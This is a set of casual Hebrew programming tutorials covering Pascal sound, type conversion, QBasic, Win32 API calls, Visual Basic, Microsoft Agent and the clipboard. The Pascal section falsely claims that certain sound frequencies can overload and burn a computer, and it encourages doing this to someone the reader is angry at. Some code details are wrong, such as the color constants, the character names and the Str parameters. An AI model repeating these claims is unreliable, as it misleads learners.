**טוב, למי שלא הבין: הקולות בפסקל יוצאים מהקופסא של המחשב, משהו שבעצם**

**דומה לסאונד בבונוס, שלא מכוון על "Sound Blaster". עוד דבר חשוב, אני**

**חוזר ומדגיש לעקוב באופן צמוד אחרי ההוראות, כי פעם יצא לי צליל מהמחשב**

**שאחרי שנייה כל הכלבים בשכונה באו לבית שלי...**

**סוף סוף מתחילים**

**טוב, תפתחו את העורך של פסקל, ותכתבו את השורות הבאות. אחרי השורות האלה**

**יבואו הסברים (תלחצו על קונטרול ושיפט):**

**USES Crt;**

**BEGIN**

**Sound (500);**

**Delay (20000);**

**NoSound;**

**END.**

**הסברים**

**USES Crt: אתם כבר מכירים, אנו משתמשים בקובץ חיצוני שנקרא Crt.tpu.**

**BEGIN: גם את זה אתם מכירים, זאת ההתחלה של התוכנית.**

**Sound: זאת הפונקצייה שמגדירה את הסאונד, שנמדד ביחידה הרץ.**

**Delay: זה הזמן שיהיה את הסאונד, נמדד ביחידה מילי - שנייה.**

**NoSound: זה מפסיק את הסאונד.**

**END: טוב נו, זה סוף התוכנית.**

**Sound**

**טוב, הצלילים החוקיים בפסקל נעים בין 0 הרץ לבין 65535 הרץ. יש סבירות**

**גבוהה שלא תשמעו 0 הרץ (אלא אם כן אתם משוגעים) וגם לא את 65535 הרץ (אלא**

**אם כן אתם כלבים). העוצמות שנשמעות לאוזן האנושית הן בין 20 הרץ לבין**

**12000 הרץ. וגם זה בקושי.**

**Delay**

**זה הזמן שהסאונד ינגן. העיקובים החוקיים בפסקל נעים בין 0 מילי שניות**

**לבין 65535 מילי שניות. יש דרך לרמות את זה, שאותה אני אסביר אחר כך, כך**

**שאפשר ליצור עיקוב ארוך יותר מהשיניים הקדמיות של סוס ממוצע... טוב, הנה**

**התשובה לאיך לעבוד על העיקוב. מה יותר טוב מהאקר? שני האקרים!!! והנה**

**התשובה: יוצרים פשוט שני עיקובים אחד אחרי השני!!! זה הולך בערך ככה, זה**

**סתם קצת חשיבה (תלחצו על קונטרול ושיפט):**

**USES Crt;**

**BEGIN**

**Sound (500);**

**Delay (65535);**

**Delay (65535);**

**NoSound;**

**END.**

**טוב, כמו שאתם רואים אפשר לעשות עיקוב אחרי עיקוב, ובסוף להגיע לסאונד**

**שנמשך עד אינסוף (בעזרת לולאה אינסופית) וגורם לכאב ראש חזק במיוחד. אם**

**אתם ממש ממש ממש עצבניים על מישהו, נסו לבנות תוכנה שמשתמשת בעוצמות הרץ**

**מסויימות שיעשו עומס יתר למחשב וישרפו אותו. זה אפשרי, תאמינו לי!!!**

**NoSound**

**טוב, זה פשוט גורם להפסקת הסאונד. אין מה להסביר פה, זה סתאאאאם פונקצייה**

**חשובה אבל מסכנה לאללה!!!**

**נראה אתכם עכשיו**

**נסו לבנות תוכנית בפסקל שמנגנת את "יונתן הקטן"... מי ששולח לי לאי מייל**

**ראשון, יזכה באיקס עיגול שבניתי בפסקל + קוד מקור. באמת!!!**

**תוכניות מסכנות, קודי מקור, "יונתן הקטן", "לדוד משה היה תפוח אדמה",**

**אפקטים קוליים או חזותיים ושלל ירקות ייתקבלו בברכה לאי מייל שלי, שהוא:**

**baror@matav.net.il**

**טוב, אז שלכם,**

**Crossbow**

**שינוי סוגי משתנים בפסקל**

**הממממ... חשבתם פעם מה קורה אם אנחנו מקבלים קלט בצורת ארגומנט ורוצים**

**להפוך אותו למספר בתוכנית (משהו כמו מחשבון עם פרמטרים)? היום אני הולך**

**ללמד אתכם איך הופכים מספרים למחרוזות ולהיפך.**

**סוגי המשתנים - חזרה כללית**

**טוב, הנה רוב סוגי המשתנים בפסקל:**

**File - משתנה המציין קובץ (מיוצג על ידי אותיות בדרך כלל).**

**Array - משתנה רב אובייקטי (מחזיק מספר משתנים ממוספרים).**

**Boolean - משתנה בוליאני (מחזיר True או False ותואם 8 ביט).**

**Wordbool - משתנה בוליאני (מחזיר True או False ותואם 16 ביט).**

**Bytebool - משתנה בוליאני (מחזיר True או False ותואם 8 ביט).**

**Longbool - משתנה בוליאני (מחזיר True או False ותואם 32 ביט).**

**Byte - משתנה מספרי (בין 0 למספר 255).**

**Word - משתנה מספרי (בין 0 למספר 65535).**

**Shortint - משתנה מספרי (בין 127 למספר מינוס 128).**

**Integer - משתנה מספרי (בין 32767 למספר מינוס 32768).**

**Longint - משתנה משתנה (בין 2147483647 למספר מינוס 2147483648).**

**טוב, אלה המשתנים. עכשיו, נגיד שאני רוצה לקבל ארגומנט (שהוא בעצם משתנה**

**מסוג מחרוזת - String), אבל רוצה להראות כמה הוא כפול שתיים. הנה קוד**

**המקור שאמור לעשות את זה:**

**VAR VarX:integer;**

**BEGIN**

**IF ParamCount = 0 THEN Exit;**

**VarX := ParamStr (1);**

**WriteLn (VarX, ' \* 2 = ', VarX \* 2);**

**END.**

**הסברים**

**אם תנסו להריץ את התוכנית, תקבלו שגיאה. למה?!?!? בגלל שהמשתנה הוא מסוג**

**משתנה מספרי (Integer), אבל הפרמטר הוא מסוג מחרוזת (String). אז, מה**

**עושים?!?!? פשוט מאוד, משתמשים בפונקציות!!!**

**פונקציות הפיכה**

**אז, מה שאנחנו הולכים לעשות כאן זה להציג את קוד המקור של התוכנית מקודם,**

**אבל הפעם אנחנו נבנה אותה כך שלא תיווצר שגיאה. הנה הקוד:**

**VAR VarX, Vary:integer;**

**BEGIN**

**IF ParamCount = 0 THEN Exit;**

**Val (ParamStr (1), VarX, VarY);**

**IF VarY <> 0 THEN Exit;**

**WriteLn (VarX, ' \* 2 = ', VarX \* 2);**

**END.**

**הסברים**

**טוב, פה הוספנו עוד משתנה. המשתנה הראשון ייצג את הערך המספרי של הפרמטר,**

**והמשתנה השני ייצג את השגיאה שעלולה להיווצר בזמן הפיכת הארגומנט שלנו**

**לערך מספרי. טוב, שורה אחרי זה מתחילה התוכנית, ואז אנחנו אומרים שאם אין**

**פרמטרים אז אנחנו יוצאים מהתוכנית. אחרי זה אנחנו משתמשים בפונקצייה חדשה**

**שנקראת Val (קיצור של Value), שבעצם תפקידה הוא להפוך ערכים טקסטואלים**

**לערכים מספריים (String To Integer). בפונקצייה זו יש שלושה חלקים: הגדרת**

**המשתנה הטקסטואלי, הגדרת משתנה שיקבל ערך מספרי מהמשתנה הטקסטואלי, וגם**

**הגדרת משתנה מספרי, שתפקידו יהיה לדווח על שגיאות. טוב, שורה אחרי זה**

**אנחנו אומרים שאם התקבלה ששגיאה (שגיאה מיוצגת במספר ששונה מאפס), אז מה**

**שנעשה הוא לצאת באופן אוטומטי מהתוכנית. אחרי זה, אנחנו מוציאים פלט של**

**המשתנה המספרי (שמיוצג פה כמשתנה VarX).**

**הפוך**

**כמו שיש פונקצייה להחלפת ערך טקסטואלי למספרי, כך יש פונקצייה להחלפה בין**

**ערך מספרי לטקסטואלי. הפונקצייה היא Str (קיצור של String), ובנויה בדיוק**

**כמו פונקציית Val, רק עם שינוי קטן אחד:**

**Str (VarX, VarY, VarZ);**

**פה זה הולך ככה: VarX יהיה בעצם בעל ערך מספרי, ואותו אנחנו הולכים להמיר**

**למשתנה VarY שיהיה משתנה טקסטואלי. המשתנה VarZ ידווח על השגיאות, ולכן**

**הערך שלו יהיה ערך מספרי.**

**יאללה, גמרנו להיום**

**רק רציתי להגיד בסוף, שאני אשמח מאוד להחליף קודים פתוחים בשפת פסקל, לא**

**משנה אם זה משחק מפגר \ מחשבון \ תוכנה משעממת (מחק את המיותר). בקיצר,**

**אתם יודעים מה האי מייל שלי... שלכם,**

**Crossbow**

**שפת Quick Basic**

**טוב, אני יודע שהשפה הזאת די מסכנה, אבל מה שבטוח הוא שאם מישהו רוצה**

**לעשות תיכנותים באם אס דוס, הרבה יותר קל לתכנת עם Qbasic מאשר לעשות**

**קבצי אצווה. טוב, אז אם יש לכם Qbasic זה יופי, אם אין לכם תיצרו איתי**

**קשר בפורום של האתר או משהו בסגנון, ואז אני אראה לכם מאיפה להוריד.**

**טוב, אם פתחתם את Qbasic, צריך להיות לכם מסך כחול כזה, מציק לאללה...**

**טוב, אז הפקודות די דומות לשפת Visual Basic... בואו נתחיל עם משתנים.**

**נגיד שאנחנו אוצים ליצור משתנה חדש שיקראו לו VarX ושיהיה שווה לעשר.**

**אז הנה זה:**

**DIM VarX**

**VarX = 10**

**לא כל כך מסובך, נכון?**

**נגיד שאנחנו רוצים שיהיה קלט על המסך שיציג את המשתנה... אז פה, כמו**

**בשפת Visual Basic מתקדמת יותר, הפקודה היא PRINT. אז הנה זה:**

**DIM VarX**

**VarX = 10**

**PRINT VarX**

**אם אנחנו רוצים לכתוב טקסט ישיר, שלא יצא מתוך משתנה, כותבים במרכאות.**

**דוגמא:**

**PRINT "I Love Tigers"**

**טוב, עכשיו בואו נעבוד קצת על צבע... נסו לעשות ככה:**

**COLOR 2**

**PRINT "Crossbow"**

**אם שמתם לב הצבע הוא ירוק. אם לא אתם עוורי צבעים.**

**הנה הרשימה של הצבעים בשפה הזאת:**

**שחור = 0**

**כחול כהה = 1**

**ירוק כהה = 2**

**טורקיז = 3**

**אדום כהה = 4**

**סגול כהה = 5**

**כתום = 6**

**אפור בהיר = 7**

**אפור כהה = 8**

**כחול בהיר = 9**

**ירוק בהיר = 10**

**תכלת = 11**

**אדום בהיר = 12**

**בגול בהיר = 13**

**צהוב = 14**

**לבן = 15**

**עכשיו בטח מישהו יגיד: "איזה רעיון מטומטם!!! הרקע הוא בשחור, אז למה**

**שיהיה טקסט שחור בכלל? לא רואים שחור על שחור!" והאמת שהוא צודק...**

**בשביל זה יש גם צבע רקע. הצבעים הם אותם צבעים שברשימה. כל פעם שמגדירים**

**צבע טקסט, אפשר להגדיר גם צבע רקע. נסו לעשות ככה:**

**COLOR 0, 15**

**PRINT "Crossbow"**

**עכשיו נעבוד על משהו יותר מסובך... לולאות! יש כמה סוגי לולאות. מי שמיכם**

**יודע קצת Cpp או Visual Basic או Vbscript או Java Script יודע בטח כמה.**

**אז הלולאה פה היא בדיוק כמו בשפת Visual Basic... אני מדבר על לולאת פור.**

**למי שלא יודע: כל פעם הלולאה חוזרת על עצמה עד שנגמרת הספירה. דוגמא:**

**FOR i = 0 TO 15**

**PRINT i**

**NEXT**

**אוקי, קצת הסברים על כל זה:**

**FOR**

**טוב, זה אומר לתוכנית מתי מתחילה הלולאה**

**i**

**האמת היא שאפשר לרשום מה שרוצים, העיקר שיהיה אות באנגלית.**

**0**

**מגדיר מתי הלולאה מתחילה.**

**TO 15**

**מגדיר מתי הלולאה תסתיים.**

**NEXT**

**מגדיר מתי הלולאה תסתיים.**

**בין הצהרת פור והצהרת נקסט כותבים את תוכן הלולאה.**

**עכשיו משהו יותר קשה. בואו ננסה לשלב קצת בין כל**

**מה שלמדנו. בואו נעשה תוכנה שתראה לנו מילה מסויימת**

**שכל פעם בצבע אחר. בארבע שורות. נסו לחשוב קצת...**

**סתאאאאאאאאאאאם! הנה התשובה:**

**FOR i = 0 TO 15**

**COLOR i**

**PRINT "Crossbow"**

**NEXT**

**אני מקווה שהבנתם את הקטע עם הלולאה. עכשיו, מישהו**

**יכול לשאול "תגיד, חוץ מהצבע, למה אני צריך לעזאזל**

**לדעת את זה? הרבה יותר קל לתכנת קבצי אצווה..." אז**

**התשובה היא שיש בשפת Qbasic דבר אחד בולט שאין עדיין**

**בתכנות קבצי אצווה. בשפת Qbasic יש טיימר!!! עד היום,**

**אף אחד לא הצליח לבנות טיימר בקובץ אצווה. לא לפחות**

**מישהו שאני מכיר. גם עבדכם הנאמן ניסה, והדבר היחיד**

**שהוא הצליח זה שפקודה תקרה בתאריך מסויים.**

**אז עד הפעם הבאה, שלכם,**

**Crossbow**

**A.P.I.**

**אי.פי.איי זה מסד נתונים ענק שבעצם מכיל את כל פקודות הוינדואוז. אז, למה**

**זה טוב? אוקיי, נגיד שאנחנו רוצים לבנות תוכנה, שדורשת את הפקד של סוקט.**

**ואני רוצה לשים את זה אצל חבר שלי. אבל אין לו את הפקד הזה. אז אם נפעיל**

**את התוכנה תעלה שגיאה שהפקד חסר. אז מה עושים? במקום להשתמש בפקד, נבנה**

**אותו. ואיך בונים פקד? עם פקודות אי.פי.איי! אז לכל מי שיש ויזואל בייסיק**

**שיפתח את התיקייה שבה ויזואל בייסיק נמצא וששם יפתח את אי.פי.איי. דוגמא:**

**C:\Program Files\Dev Studio\Vb = המקום שבו ויזואל בייסיק מותקן.**

**C:\Program Files\Dev Studio\Vb\Winapi\Apiload.exe = מיקום הקובץ.**

**טוב, מקווה שהבנתם איך לפתוח. אוקיי, פתחנו ועולים לנו טבלת בחירה, מתחת**

**יש לנו טבלה ריקה, ומתחת יש לנו תיבת טקסט. עכשיו, עושים ככה: יש לנו את**

**כל התפריטים של התוכנה, נכון? אז פותחים קובץ טקסט שנמצא בתיקייה שבה יש**

**את אי.פי.איי, יעני, אם התיקייה היא מה שכתוב מקודם, למעלה, אז:**

**C:\Program Files\Dev Studio\Vb\Winapi\Win32api.txt**

**כמובן שאתם טוענים קובץ טקסט, לא מסד נתונים!!! טוב, עכשיו הטבלאות היו**

**צריכות להתמלא. מה שאתם רואים זה כל פקודות הוינדואוז החדש. זה הולך לפי**

**סדר אותיות, סדר כרונולוגי כזה. בקיצר, תחפשו נגיד את הפקודה שמנגנת קול:**

**PlaySound**

**טוב, תלחצו עליה פעמיים. תיבת הטקסט התמלאה בבולשיט... תעתיקו את כל מה**

**שכתוב בתיבת הטקסט לתוך קוד מקור של פרוייקט חדש, לתוך מודול חדש שיצרצם.**

**עכשיו, נגיד שאנחנו רוצים שכל פעם שנפתח הפורם ינגן סאונד מטומטם. אז אני**

**חושב שזה ייראה בערך ככה:**

**Private Sub Form\_Load()**

**Call PlaySound ("C:/Windows/Media/Tada.wav", 1, 1)**

**End Sub**

**טוב, אם עשיתם הכל כמו שצריך, כשאתם מריצים את התוכנה ינגן לכם משהו כמו**

**גלגל המזל. מה שטוב בפונקצייה הספציפית הזאת, זאת העובדה זה שאם הקובץ לא**

**קיים, התוכנה לא תיקח את זה כשגיאה, אלא תנגן "ביפ" כזה של שגיאה.**

**טוב, תשחקו קצת עם פונקציות של אי.פי.איי. לפני שאני מסיים פה, אני רוצה**

**להשאיר לכם עוד פונקציות שכדאי לבדוק:**

**SetCursorPos = מכוון את מיקום העכבר לפי קורדינטות רוחב ואורך.**

**GetCursorPos = אומר לתוכנה מהם קורדינטות הרוחב והאורך של העכבר.**

**GetComputerName = אומר לכם את שם המחשב.**

**GetFileType = מחזיר לכם את סוג הקובץ.**

**timeGetTime = מחזיר לכם את הזמן הנוכחי.**

**timeGetSystemTime = מחזיר לכם את הזמן שהמערכת שלכם פועלת.**

**SetSystemTime = מכוון את הזמן שהמערכת פועלת.**

**SetWindowPos = מכוון את מיקום החלון גם לפי קורדינטות.**

**SetTimer = יצירת טיימר.**

**טוב, בתור התחלה זה מספיק.**

**אני מקווה שנהניתם, שלכם,**

**Crossbow**

**VISUAL BASIC**

**טוב, הגיע הזמן שכולכם תלמדו קצת תכנות! באמת, לאף אחד לא יזיק ללמוד את**

**אחת השפות הכי טובות שקיימות... אני יודע מה כולכם חושבים: בסך הכל זאת**

**שפת תכנות שמייקוסופט הוציאה!!! ואנחנו יודעים מה כולם חושבים עליהם...**

**אבל אם יש משהו שמייקרוסופט עשתה טוב: זה להוציא את Visual Basic... טוב.**

**אני מניח שאין לכם את Visual Basic על המחשב... מי שרוצה לדעת מאיפה**

**משיגים את Visual Basic באינטרנט שייצור איתי קשר בפורום של האתר. כמובן**

**שלא בפורום של גהנום!!! אני יודע מאיפה להשיג VB 5.0 CCE שזה בעצם שפת**

**Visual Basic 5.0 הלא מלאה... היא כוללת הכל, חוץ מאפשרות של קימפול, אבל**

**מי שממש רוצה קימפול אני אקמפל לו אם הוא יישלח לי את הקוד מקור... לא כל**

**דבר יקומפל, אלא רק תוכנות טובות שהם לא סתם בשביל להתאמן... אם מישהו**

**רוצה לקמפל בעצמו אז שישקיע קצת כסף וייקנה את Visual Basic 6.0 החדש.**

**טוב, בואו נתחיל... לשפת Visual Basic יש שלושה מצבים: מצב ויזואלי, מצב**

**של קוד מקור ומצב של הרצה. כשאנחנו נכנסים לתוכנה הוא שואל אותנו איזה**

**פרוייקט אנחנו נפתח. תלחצו פעמיים על Standard Exe. עכשיו נכנסנו למצב**

**הראשון: המצב הויזואלי... ככה התוכנית שלנו תראה. חוץ מהנקודות השחורות**

**על הרקע האפור... חחחח... טוב, בואו נלמד מאפיינים... מאפיינים הם סוג של**

**פונקצייה שעוזרת לנו מאוד... טוב, לחצו פעם אחת סתם על השטח האפור של**

**התוכנית שלנו. עכשיו לחצו לחיצה ימנית על התוכנית, ואז לחצו על האפשרות**

**Properties. עכשיו צריך להיות חלון שבו המאפיינים... תגררו אותו לצד ימין**

**ואז תלחצו פעם אחת על המאפיין Backcolor. תסתכלו מימין... יש כמה אותיות**

**ומספרים מוזרים, היועים כשפה ההקסדימלית, ומימין לשפה ההקסדימלית יש חץ**

**למטה. תלחצו עליו. יש שתי כרטיסיות קטנות: System או Palette. תלחצו על**

**Palette ואז על הצבע שאתם רוצים... חחחח... ניקח למשל ירוק... תלחצו על**

**ירוק ואז הפלא ופלא! התוכנית הפכה את עצמה לירוקה! טוב, עכשיו שינוי מה**

**שכתוב למעלה בחלון. תבחרו באפשרות Caption ואז תכתבו שם משהו... תראו מה**

**שרשום בחלון למעלה... בסך הכל יש שלושה סוגים של מאפיינים: מאפיין צבע,**

**מאפיין טקסט או מאפיין True Or False. תראו, אין לי כח לרשום כל פעם את**

**המילים True Or False, אז מעכשיו True Or False נקרא TOF, טוף? חחחחח...**

**שכחתי! יש גם מאפיין בחירה! לא משנה... תשחקו קצת עם המאפיינים. הראשון**

**שישאיר לי מאפיין של בחירה בפורום של האתר יזכה להקדשה בתוכנה הבאה שלי.**

**חחחח... באמת! טוב, עכשיו הזמן ללמוד על פקדים... פקדים הם בעצם כמו**

**Form, אבל בקטן... כל הפקדים נכנסים ל Form... בצד שמאל צריך להיות לכם**

**חלון ארוך וצר... ויש עליו אייקונים קטנים... תעמדו עם העכבר על האייקון**

**שנראה כמו קקטוס במדבר... הוא יכתוב לכם PictureBox. תלחצו עליו פעם אחת**

**ואז תעלו בחזרה עם העכבר על התוכנית... שימו לב שהעכבר עכשיו בצורת צלב.**

**תלחצו בנקודה מסויימת על ה Form, ותגררו את העכבר כשהוא עדיין לחוץ ישר**

**באלכסון לנקודה אחרת, ריבוע כזה יווצר לכם בגרירה... עכשיו עזבו את העכבר**

**ותראו מה קרה... יש לנו ריבוע כזה, מלבן חדש בתוכנה!!! אם תלחצו עליו פעם**

**אחת ותבדקו את חלון Properties אתם תראו שגם למלבן הזה יש מאפיינים. טוב,**

**שחקו קצת עם המאפיינים של זה... שחקו קצת עם עוד פקדים... טוב, אחרי זה,**

**מתחיל הקטע הרציני והיצירתי!!! התכנות!!! לחצו פעמיים מהר על איזה משהו**

**שיצרנו... נגיד על PictureBox... אתם תראו את הקוד מקור של התוכנית...**

**עכשיו כמובן אין שם כלום... טוב, בואו נתחיל בהסברים: Private Sub זאת**

**אומרת תכניס פקודה... Picture1 זה השם של התמונת ציור שלנו... אלא אם כן**

**שינינו את השם שלה במאפיינים... אחרי זה יש קו תחתון קטן \_ ואחרי זה יש**

**את סוג המאורע (Event באנגלית...). טוב, המאורע שלנו הוא Click, יעני**

**לחיצה אחת על העכבר... מתחת יש שורה ריקה שבה נכניס את הקוד, ומתחת כתוב**

**End Sub, יעני סוף פקודה, כדי להגיד לקובץ שהפקודה נגמרה... בואו נעשה**

**שכשאנחנו לוחצים על התמונה, היא הופכת לצבע אדום. טוב, עכשיו, בין פתיחת**

**הפקודה לסוף הפקודה נכתוב Picture1 ואז נכתוב נקודה (.). עכשיו זה נראה**

**כמו Picture1. פלוס העובדה שפתאום עלה לנו חלון שכתובים בו כל מיני דברים**

**כמו Backcolor. למי שזוכר, Backcolor זה מאפיין, אז מה הוא עושה פה? מה**

**שהוא עושה זה איפיון מחודש. נגיד שנכתוב Picture1.Backcolor. יש לנו את**

**התמונה (Picture1) ויש לנו את המאפיין שמחליף צבע (Backcolor). מה חסר?**

**חסר לנו הצבע שאנחנו רוצים. אני לא מאמין שמישהו יכתוב צבעים בשפת ההקס,**

**כי זה מסובך ומציק לאללה. אז מה עושים? שפת Visual Basic נתברכה בעובדה**

**שלכל מאפיין יש כמה צורות להגדיר אותו. נגיד צבע. צבע אפשר להגדיר בצורות**

**vbColor, qbColor, Rgb, Hex ויש אפילו עוד... עכשיו, בואו נשתמש בדבר הכי**

**קל: vbColor. השיטה הזאת קלה מאוד: רושמים את הצבע באנגלית, אבל לפני זה**

**כותבים את האותיות vb. זה הכל. נגיד שנרצה להגיד "צבע כחול", נכתוב בקוד**

**vbBlue. ירוק זה vbGreen. לבן זה vbOrange. אבל אנחנו רצינו אדום. אז מה**

**נעשה? נגדיר את הצבע בתור vbRed. השורה שמלאה שכתבנו צריכה להראות ככה:**

**Picture1.Backcolor = vbRed**

**טוב, עכשיו בואו נריץ את התוכנית. תלחצו על המקש F5. עכשיו נכנסנו למצב**

**השלישי: מצב ההרצה. אין מה ללמד על המצב הזה... זה מראה לנו את התוכנה**

**עצמה רצה, אבל במצב שהיא עדיין לא מקומפלת. תקחו את העכבר ותלחצו במצב**

**ההרצה על התמונה. מה קרה? אם הכל היה כמו שצריך, התמונה הייתה צריכה**

**להפוך לצבע אדום. טוב. כדי לצאת ממצב ההרצה, פשוט לחצו על X בשורה הכי**

**עליונה בחלון הרצה. אתם יודעים, כמו שסוגרים כל חלון. אם נכנסתם למצב**

**הויזואלי תלחצו פעמיים על התמונה. עכשיו, נעשה משהו אחר. במקום להגדיר**

**שינוי מאפיין, נגדיר פונקצייה. בואו נעשה שכשנלחץ על התמונה היא תזוז**

**למקום מסויים. תכתבו Picture1.Move 2222, 2222. המיקום בנוי משני מצבים:**

**המיקום השמאלי של התמונה והמיקום העליון של התמונה. זה הגיוני, כי המיקום**

**הימני משתנה בהתאם לשמאלי, והמיקום התחתון משתנה בהתאם לעליון. עכשיו**

**תריצו ותלחצו על התמונה... חחחח... זה חי! זה חי! טוב, עכשיו תצאו עוד**

**פעם ממצב ההרצה. טוב, עכשיו נלמד על פונקציות חיצוניות. בואו נעשה גנרטור**

**רנדומלי. המקודה של רנדומיזם (אקראיות) היא Rnd. עכשיו ,בואו נגדיר מספר**

**אקראי שיהיה בין אפס למאה. נכתוב Rnd \* 100. קלטתם? עכשיו משהו יותר קשה.**

**מספר בין שלוש למאה. איך עושים? כותבים Int שזה קיצור של Integer, יעני**

**מספר מלא, ואז שמים בסוגריים את הרנדומיזם. אם תהיו קצת יצירתיים, תבינו**

**שכדי לכתוב מספר בין מאה לשלוש צריך לעשות ככה: Int((Rnd \* 100)+3). פה**

**כדאי לעשות Ctrl + Shift שמאליים כדי להבין. בקיצר, איך נעשה שאם נלחץ על**

**התמונה היא תופיע במקום אקראי על המסך? נעשה ככה:**

**Private Sub Picture1\_Click()**

**Picture1.Move (Rnd \* Form1.Width), (Rnd \* Form1.Height) 'a**

**End Sub**

**הסברים: התמונה תזוז למקום אקראי בין אפס לרוחב של הטופס, ובין אפס לגובה**

**של הטופס. עוד משהו שרציתי ללמד זה תזכיר בקוד. יש כאלה שאוהבים לעשות את**

**זה. אני ממש לא אבל אולי זה יעזור לכם. תכתבו ' (גרש), ואז מה שבא לכם.**

**אחרי שסיימתם תרוד שורה למטה ותראו שזה בצבע ירוק כהה... כל מה שבצבע הזה**

**בקוד הוא תזכיר. עכשיו זה בטח נראה לכם מאוד מטומטם, אבל כשיש לכם תוכנה**

**רצינית עם 1000 שורות או משהו כזה, התזכירים יכולים לעזור למתכנת לארגן**

**את הכל בראש. טוב, דבר אחרון שאני רוה ללמד אתכם זה MsgBox. תכתבו נגיד**

**במאורע לחיצה על התמונה משהו כזה: Msgbox "Fuck you" 'crossbow ואז תנסו**

**להריץ. אם עשיתם הכל נכון, צריכה לעלות הודעה שיהיה כתוב בה Fuck You.**

**נסו להתעסק קצת עם MsgBox וגם עם InputBox. הערה חשובה: כל מי שבראש שלו**

**ללמוד Visual Basic אני מוכן לתת עצות ועזרה בפורום של האתר. עוד הערה**

**חשובה: למי שיש Visual Basic, שיתעסק עם העזרה של התוכנה. זה עזר לי מאוד**

**מאוד מאוד... שלכם,**

**Crossbow**

**שימוש באג'נט בויז'ואל ביסיק**

**טוב, אני יודע שכולכם חובבי אנימצייה, תלת מימד, אפקטים גרפיקליים, דברים**

**שנעשו בפוטושופ וכאלה, אז היום נלמד לשלב בין תיכנות ברמה הנמוכה לבין**

**גרפיקה מאוד מאוד מהירה ונוחה. טוב, אז בואו נתחיל בהתחלה. הכתבה הזאת**

**מיועדת בעיקר למתכנתי ויזואל בייסיק שרוצים להכניס חיים לתוכנית שבנו, או**

**סתם לחובבי ויזואל בייסיק, אבל מה שכן, חייב להיות לכם ידע מועט בתיכנות**

**ויזואל בייסיק. טוב, היום נעשה שימוש בכלי מאוד מפגר שמייקרוסופט הוציאה**

**שקוראים לו Microsoft Agent 2.0, או בקיצור אג'נט. אז, מה זה? אג'נט זה**

**בעצם הדמויות התלת מימדיות שאפשר לראות בתור העוזרים בתוך וורד, למשל...**

**אז אפשר גם לשלב אותם. דבר ראשון שאנחנו צריכים - הפקד של האג'נט. אפשר**

**להוריד את הפקד מהכתובת הבאה :**

**http://www.microsoft.com/products/msagent**

**אם אני לא טועה, משתמשי וינדואוז 2000 ומעלה לא צריכים להוריד את זה. אני**

**חושב שברוב הגרסאות של וינדואוז יש את זה כבר. טוב, הדבר השני שצריכים זה**

**דמות שתשמש כסוכן. אפשר להוריד דמויות מהכתובת למעלה, ואפשר גם ליצור**

**דמויות. בכתובת הבאה יש המון עזרים לזה, כולל יוצר דמויות אישי, התאמת**

**דיבור, ועוד:**

**http://www.microsoft.com/products/msagent/devdownloads.htm**

**טוב, אני ממליץ בחום להוריד את העוזר פידי (התוכי הירוק), חברה שלי מתה**

**עליו... אוקיי, עכשיו תפתחו פרוייקט חדש, ואז תצרפו את הבקר, שבעצם נקרא**

**Microsoft Agent Control 2.0**

**ואז תיצרו אובייקט חדש מהסוג הזה. תלחצו פעמיים על הפורם. עכשיו, תכתבו**

**דבר כזה (קונטרול ושיפט):**

**Private Sub Form\_Load()**

**Agent1.Characters.Load "Peedy", "Peedy.acs"**

**Agent1.Characters.Character("Peedy").Show**

**End Sub**

**זה בעצם יפעיל את פידי התוכי שלנו. עכשיו, נגיד שאנחנו רוצים שפידי יגיד**

**לנו "אהלן". נוסיף את השורה הבאה (קונטרול ושיפט):**

**Agent1.Characters.Character("Peedy").Play "Wave"**

**טוב, ועכשיו אנחנו רוצים שהוא יזוז קצת לצד (קונטרול ושיפט):**

**Agent1.Characters.Character("Peedy").MoveTo 129, 49**

**טוב, ועכשיו שידבר (קונטרול ושיפט):**

**Agent1.Characters.Character("Merlin").Speak "Fuck you all!"**

**ועכשיו, הנה הקוד המלא למה שעשינו (קונטרול ושיפט):**

**Private Sub Form\_Load()**

**Agent1.Characters.Load "Peedy", "Peedy.acs"**

**Agent1.Characters.Character("Peedy").Show**

**Agent1.Characters.Character("Peedy").Play "Wave"**

**Agent1.Characters.Character("Peedy").MoveTo 129, 49**

**Agent1.Characters.Character("Merlin").Speak "Fuck you all!"**

**End Sub**

**טוב, יש כמובן עוד מלא פקודות באג'נט, אבל זה הבסיס. החסרונות הגדולים הם**

**שאין תמיכה בשפה העברית, וגם אם אנחנו רוצים להעלות את זה על מחשב אחר,**

**אנחנו צריכים את כל הרכיבים (הבקר של אג'נט והסוכן) במחשב המארח. טוב, זה**

**הכל להיום. שלכם,**

**Crossbow**

**עבודה עם קליפבורד בויז'ואל בייסיק**

**היום, נלמד לעבוד עם ה קליפבורד בויזואל בייסיק. טוב, דבר ראשון, מה זה**

**הקליפבורד? קליפבורד, נקרא בוינדואוז גם "תצוגת הלוח", שומר את המידע**

**שברצוננו להעתיק. בוינדואוז, בניגוד למערכות אחרות כמו אם אס דוס, למשל,**

**אנחנו יכולים לתת פקודה להעתיק את הקובץ, ואז לשחרר אותו כשמתאים לנו.**

**המידע בקליפבורד יכול להשמר בצורת טקסט (טקסט רגיל, או שמות של קבצים שגם**

**נשמרים במצב טקסטואלי), תמונה (כמו בביטמפ, למשל), צליל (כמו של שימוש**

**בתוכנה SNDREC.EXE, למשל), או אובייקט זמני (כמו העתקת אובייקט בויזואל**

**בייסיק). הכי טוב זה להראות לכם בטבלה:**

**הדבר שאותו אנחנו מעתיקים == מה שנראה בקליפבורד**

**טקסט רגיל == טקסט.**

**קובץ או מספר קבצים == טקסט.**

**תיקייה או מספר תיקיות == טקסט.**

**צליל == תמונה מפגרת של צליל.**

**אובייקט זמני == <אין אפשרות להציג - תבנית לא מוכרת>.**

**טוב, עכשיו, אתם יכולים לשחק עם זה קצת, להבין את זה. נסו להעתיק (בלי**

**להדביק) כל מיני דברים שונים, ותראו מה קורה בקליפבורד. אתם יכולים לפתוח**

**את הקליפבורד, ע"י התחל, הפעלה, "Clipbrd" ואז אנטר. עכשיו, כל זה יופי,**

**אבל איך משתמשים בזה בויזואל בייסיק? טוב, זאת לא בעייה. תיכנסו למצב של**

**הקידוד בויזואל בייסיק. תעשו שם את הדבר הבא (קונטרול ושיפט):**

**Private Sub Form\_Load()**

**Clipboard.SetText "Fuck you all"**

**End Sub**

**תריצו את התוכנה, ותבדקו מה יש בקליפבורד. טוב, כמו שהבנתם בטח כבר, אפשר**

**לא רק לשלוח מידע לקליפבורד, אלא גם להוציא ממנו מידע. תנסו להריץ הקוד**

**הבא (קונטרול ושיפט):**

**Private Sub Form\_Load()**

**Dim VarX As String**

**VarX = Clipboard.GetText**

**Msgbox VarX**

**End Sub**

